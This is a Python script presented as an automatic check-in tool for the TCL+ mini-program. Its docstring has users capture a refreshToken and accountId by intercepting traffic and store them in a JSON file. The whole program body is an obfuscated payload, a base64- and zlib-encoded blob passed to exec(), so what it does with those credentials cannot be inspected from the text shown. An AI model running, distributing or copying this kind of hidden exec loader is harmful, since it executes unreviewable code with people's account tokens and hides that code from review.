import zlib
import base64

"""
脚本: TCL+小程序自动签到
作者: 3iXi
创建日期: 2025-04-18
描述: 先开启抓包，再打开“TCL+”小程序，抓域名https://cn.account.tcl.com/auth/thirdParty/loginByAuthCode 响应数据中的refreshToken和accountId
环境变量：无环境变量，需要在“tcl.json”中填入refreshToken和accountId
需要依赖：httpx[http2] pycryptodome
签到奖励：积分
"""

exec(zlib.decompress(base64.b64decode(f"eJztPftTFMe6v1vl/zBnUxV2k2VfvJSEnOIVw1UICsbkGmtr2J1l57g7s87MKkhRhbmi+EBIfEXFB4kmHo+CJkYRRP6XFDO7/JT7J9yvu2dmu2dmH6gnN8lhrRJ2uvvr7/19/XVP887fwnlVCQ+JUliQjnK5US0tSw3bt73D1b9XzyXkpCgNt3J5LVW/Az3Zvm37NjGbkxWNk1X713+osmR/0cSsYH9ReCkpZ+2vqqYAPPtrXslkxKFQjldUGJJS5CyX5DUBQeDMLtZ3e0xa03IjZudOZTSnyaH+/FBGTOwWRq1B+wba2R6dYi4tKFZz/+7OgWj8aDTeZEMd4lWhuRFR9w4arZ+9oy+e0k+vGpcfb9+WFFKcovJxQUogcH5NGNGCXA7PGj8sjMaBrEDr9m0cfN7h9MUX+uTDjW/uFdduFOfP63dPFmZP/fbyvPF8BYG9+1R//Ir0FVOcJGsOQCFV4xVNPSZqaX9dPfp0dO/q6eP693fs6enkdnd/gR/WWROiDwuBa+MqDPxSquPed454n6v7UsLN3X1drqnIRDZ9Z+8UV1cJieRZCRhMDdwLEaaCQPwOJlkw1lfXCpful+RgsgpznfRJEIm1UcIKScIxCmCAQgiGgaSM6QXyzBSUkIyD+vAAhEAL0QJEX+Sk4K/Dul0XsMF1YFUovLxSuHOCPFMELa9Ipo6EhpobzaHsNIFQUmAgEm2yGDXYuSdOGBsHxgJOvt6eXane9siuzoEjuwZ6hhq69nZ3tO/d397euKuvvauzQ9y7u2N4b9eefGf7iPZZ9NNsPhZt/vTj5BeRXGw0179vT07LyHuGe48czWWHD3/eFR7gO5r29Y80yYP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